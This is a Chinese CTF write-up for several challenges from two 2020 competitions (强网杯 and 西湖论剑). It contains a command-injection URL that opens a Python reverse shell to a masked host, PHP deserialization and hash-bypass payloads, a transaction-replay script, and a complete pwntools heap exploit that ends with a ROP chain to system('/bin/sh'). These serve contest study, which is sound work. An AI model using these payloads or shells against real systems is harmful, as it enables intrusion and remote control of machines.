强网杯2020部分wp

强网杯2020

强网先锋

主动

Python弹shell

http://39.96.23.228:10002/?ip=127.0.0.1;python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22***.***.***.***%22,****));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27

得到flag

Funhash

Hash1碰撞0e开头且md4也是0e开头的字符串

参考https://medium.com/@sbasu7241/hsctf-6-ctf-writeups-a807f0b25ae4

hash1=0e251288019

hash2和hash3可以构造数组绕过

hash4为常见的sqlmd5字符ffifdyop

payload:?hash1=0e251288019&hash2[]=1&hash3[]=3&hash4=ffifdyop

Web辅助

观察函数

构造序列化并通过write函数使字符逃逸,一个\0*\0为5字符,转化为chr(0)*chr(0)为3字符,因此可以通过该函数使存入本地的序列化在读取时逃逸从而给不能直接赋值的admin参数赋值。

最终调用cat flag的函数在jungle类中,且该类中有__toString()函数,调用了cat flag,因此只需要构造jungle类,使其被字符串操作即可得到flag。

然后在midsolo类中发现stristr函数,并且可以通过__invoke()进行调用,invoke函数可以在实例化对象被当作函数调用时调用,因此只要想办法让midsolo对象被调用,并且使其name参数为jungle对象即可。

再发现topsolo类中包含了函数的调用,且在析构时会调用TP函数并且调用name对象的函数。因此我们设计topsolo的name对象为midsolo即可。

构造Payload:

?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\01&password=1″;s:7:”%00*%00pass”;s:2:”12″;s:8:”%00*%00admin”;O:7:”topsolo”:1:{S:7:”\00*\00\6e\61\6d\65″;O:7:”midsolo”:2:{S:7:”\00*\00\6e\61\6d\65″;O:6:”jungle”:1:{S:7:”\00*\00\6e\61\6d\65″;s:5:”Yasuo”;}}}}

访问Play.php可得flag。

Bank

根据hint可以得到record是分开得到的。且key不变,因此可以重复利用。

先给1转账10,得到10的加密结果,后续重复利用,再将前32位和中间32位调换,表示转账方向相反。之后给一个人转账1,再得到其账户加密后的字符串,再反向转账10,一次就可以净赚9。

写一个循环,就可以得到1000,最后get flag。脚本如下:

from zio import *  
from Crypto.Util.number import *  
from string import ascii_letters,digits  
from hashlib import sha256  
from pwn import *  
from pwnlib.util.iters import mbruteforce  
context.log_level = 'debug'  
  
def proof(p):  
    p.read_until("sha256(XXX+")  
    suffix = p.read_until(")")[:-1]  
    p.read_until(" == ")  
    hashresult = p.read_until("G")[:-2]  
    answer = mbruteforce(lambda x:sha256((x+suffix).encode()).hexdigest()==hashresult,digits + ascii_letters,length=3,method='fixed')  
    p.read_until("XXX:")  
    p.writeline(answer)  
def get_money(io,receiver,mount10):  
    for i in range(2,122):  
        io.writeline("transact")  
        io.read_until(">")  
        io.writeline(str(i)+" 1")  
        data = io.read_until("\n")[1:-1]  
        sender = data[32:64]  
        io.read_until(">")  
        io.writeline("provide a record")  
        io.read_until(">")  
        io.writeline(sender+receiver+mount10)  
        io.read_until(">")  
          
def main():  
    target = ('39.101.134.52',8005)  
    io=zio(target, timeout=10000, print_read=COLORED(RAW,'red'), print_write=COLORED(RAW,'green'))  
    proof(io)  
    io.read_until("teamtoken:")  
    io.writeline('icqf88c464f034ec6c3e4b37714b0e92')  
    io.read_until("give me your name:")  
    io.writeline('DecimalFormat')  
    io.read_until(">")  
    io.writeline("transact")  
    io.read_until(">")  
    io.writeline("1 10")  
    data = io.read_until("\n")[1:-1]  
    receiver = data[:32]  
    sender = data[32:64]  
    mount10 = data[64:]  
    io.read_until(">")  
    io.writeline("provide a record")  
    io.read_until(">")  
    io.writeline(sender+receiver+mount10)  
    io.read_until(">")  
    get_money(io,receiver,mount10)  
    io.writeline("get flag")  
    io.interact()  
  
main()  

 

结果

Upload

Wireshark提取到POST的图片和php

提示

密码是123456,用steghide提取得到密钥

侧防

将输入每4给字节进行移位,再异或后加上65与enc进行比较,写出反向代码

Babymessage

栈溢出,覆盖RBP为输入的name地址。比较大于0x100后,可以进行正常栈溢出,使用全能gadget,泄露write地址,结合libc,进行One_gadget。

Blockchain

IPFS

pic1.jpg

按照JPG文件格式拼接图像文件后再次上传该文件即可获得其hash为QmYjQSMMux72UH4d6HX7tKVFaP27UzC65cRchbVAsh96Q7

root@iZuf67pyqb098vz5v65xymZ:~/temp# ipfs add –chunker=size-26624 1.jpg

added QmYjQSMMux72UH4d6HX7tKVFaP27UzC65cRchbVAsh96Q7 1.jpg

150.92 KiB / 150.92 KiB [=========================================] 100.00%root@iZuf67pyqb098vz5v65xymZ:~/temp# ipfs ls QmYjQSMMux72UH4d6HX7tKVFaP27UzC65cRchbVAsh96Q7

QmXh6p3DGKfvEVwdvtbiH7SPsmLDfL7LXrowAZtQjkjw73 26624

QmZkF524d8HWfF8k2yLrZwFz9PtaYgCwy3UqJP5Ahk5aXH 26624

QmU59LjvcC1ueMdLVFve8je6vBY48vkEYDQZFiAbpgX9mf 26624

Qme7fkoP2scbqRPaVv6JEiaMjcPZ58NYMnUxKAvb2paey2 26624

QmfUbHZQ95XKu9vd5XCerhKPsogRdYHkwx8mVFh5pwfNzE 26624

QmXFSNiJ8BdbUKPAsu3oueziyYqeYhi3iyQPXgVSvqTBtN 21423

pic2.jpg

block sha256sum=659c2a2c3ed5e50f848135eea4d3ead3fa2607e2102ae73fafe8f82378ce1d1e 在sha256sum前加上1220变成1220659c2a2c3ed5e50f848135eea4d3ead3fa2607e2102ae73fafe8f82378ce1d1e,用base58编码后就是QmVBHzwuchpfHLxEqNrBb3492E73DHE99yFCxx1UYcJ6R3

import base58 as base58

if __name__ == ‘__main__’:

print(base58.b58encode_int(int(“1220659c2a2c3ed5e50f848135eea4d3ead3fa2607e2102ae73fafe8f82378ce1d1e”, 16)))

root@iZuf67pyqb098vz5v65xymZ:~/temp# ipfs add 2.jpg

added QmVBHzwuchpfHLxEqNrBb3492E73DHE99yFCxx1UYcJ6R3 2.jpg

170.25 KiB / 170.25 KiB [=====================================================================================] 100.00%

flag

获得两张图片后提示flag=flag{md5(hash1+hash2)},计算得flag{35fb9b3fe44919974a02c26f34369b8e}

西湖论剑2020部分wp

西湖论剑2020

CRYPTO

BrokenSystems

拿到三个文件,一个是py加密过程,一个是message密文,和public.key公钥。

解析公钥发现e很大,那d可能比较小,使用RSACtfTool解密得到私钥。

私钥2.epm:

解密得到flag:

DASCTF{ce02347b86167f2d3519251b9a8a5ba8}

PWN

Mmutag

0x01程序分析

1.先查看一下保护。可以修改GOT表,有canary,不能在栈上执行代码,没有PIE

2.试运行一下。一开始输入一个名字,会返回一个地址。然后是两层菜单。其实只有第二个的菜单有用

3.ida pro查看。给了栈上的一个地址。

分别查看一下add和delete

Add函数。判断一下ptr[id]是否已经被使用,否则malloc(0x68)大小的heap。读入内容。并将ptr[0]计数增加1

注意下面红圈。3.exit的情况会先读入到buf,再输出buf.(可以泄露canary)

Delete函数。判断ptr[id]是否使用。但是并没有将ptr[a1]置0.存在double free

0x02漏洞利用

现在有两个可以利用的点。

  1. 一开始泄露堆栈地址
  2. exit时,可以覆盖canary的最后一位0x00,导致canary泄露
  3. 存在double free

思路:

  1. 得到栈地址
  2. 泄露canary
  3. 在buf构造fastbin_cunk.pre_size=0,size=0x71,fd=0.

  1. 构造double free.在buf上创建chunk。并用之前得到的canary构造ROP链,泄露libc
  2. 重新得到栈地址
  3. 重复3,4两步。来getshell

0x03 exp

from pwn import *  
#context.log_level = 'debug'  
context.terminal = ['terminator','-x','sh','-c']  
#p = process('./mmutag')  
p = remote('183.129.189.61',55004)  
elf = ELF('./mmutag')  
libc = ELF('./libc.so.6')  
pop_rdi_ret = 0x0000000000400d23  
puts_got = elf.got['puts']  
puts_plt = elf.plt['puts']  
main_addr = 0x400BF1  
start_addr = 0x400750  
#ptr 0x6020C0  
def add(idx,content):  
    p.recvuntil('please input your choise:')  
    p.sendline('1')  
    p.recvuntil('please input your id:')  
    p.sendline(str(idx))  
    p.recvuntil('input your content')  
    p.sendline(content)  
      
  
def delete(idx):  
    p.recvuntil('please input your choise:')  
    p.sendline('2')  
    p.recvuntil('please input your id:')  
    p.sendline(str(idx))  
      
  
def exit(content):  
    p.recvuntil('please input your choise:')  
    p.sendline('3')  
    p.sendline(content)  
      
  
def introduce(content):  
    p.sendline('4')  
    p.sendline(content)  
  
  
#得到stack地址  
p.sendlineafter('please input you name:','aaaa')  
p.recvuntil('this is your tag: ')  
stack_addr = int(p.recv(14),16)  
log.success("stack_addr:{}".format(hex(stack_addr)))  
  
p.sendline('2')#进入introduce  
#泄露cannary  
exit('A'*20+'abel')  
p.recvuntil('abel\n')  
cannary = u64(p.recv(7).rjust(8,b'\x00'))  
log.success('cannary:{}'.format(hex(cannary)))  
#构造fastbin_chunk  
payload1 = b'\x00'*8+b'\x71'+b'\x00'*7+b'\x00'*8  
exit(payload1)  
  
payload = 'BBBB'  
add(1,payload)  
add(2,payload)  
delete(1)  
delete(2)  
delete(1)  
  
payload2 = p64(stack_addr -  0x40)  
add(3,payload2)#chunk1  
add(4,payload)#chunk2  
add(5,payload)#chunk1  
  
payload3 = b'A'*8+p64(cannary)+b'B'*8+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(start_addr)  
add(6,payload3)  
p.recv()  
p.recv()  
p.sendline("4")  
puts_addr = u64(p.recv(6,timeout=1000).ljust(8,b'\x00'))  
libc_base = puts_addr - libc.symbols['puts']  
system_addr = libc_base + libc.symbols['system']  
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))  
log.success('libc_base:{}'.format(hex(libc_base)))  
log.success('system_addr:{}'.format(hex(system_addr)))  
log.success('binsh_addr:{}'.format(hex(binsh_addr)))  
log.success('puts_addr:{}'.format(hex(puts_addr)))  
  
#getshell  
#得到stack地址  
p.sendlineafter('please input you name:','aaaa')  
p.recvuntil('this is your tag: ')  
stack_addr = int(p.recv(14),16)  
log.success("stack_addr:{}".format(hex(stack_addr)))  
  
p.sendline('2')  
#构造fastbin_chunk  
payload1 = b'\x00'*8+b'\x71'+b'\x00'*7+b'\x00'*8  
exit(payload1)  
  
payload = 'BBBB'  
delete(1)  
delete(2)  
delete(1)  
  
payload2 = p64(stack_addr -  0x40)  
add(7,payload2)#chunk1  
add(8,payload)#chunk2  
add(9,payload)#chunk1  
payload3 =  b'A'*8+p64(cannary)+b'B'*8+p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr)+p64(start_addr)  
add(10,payload3)  
p.sendline("4")  
p.interactive()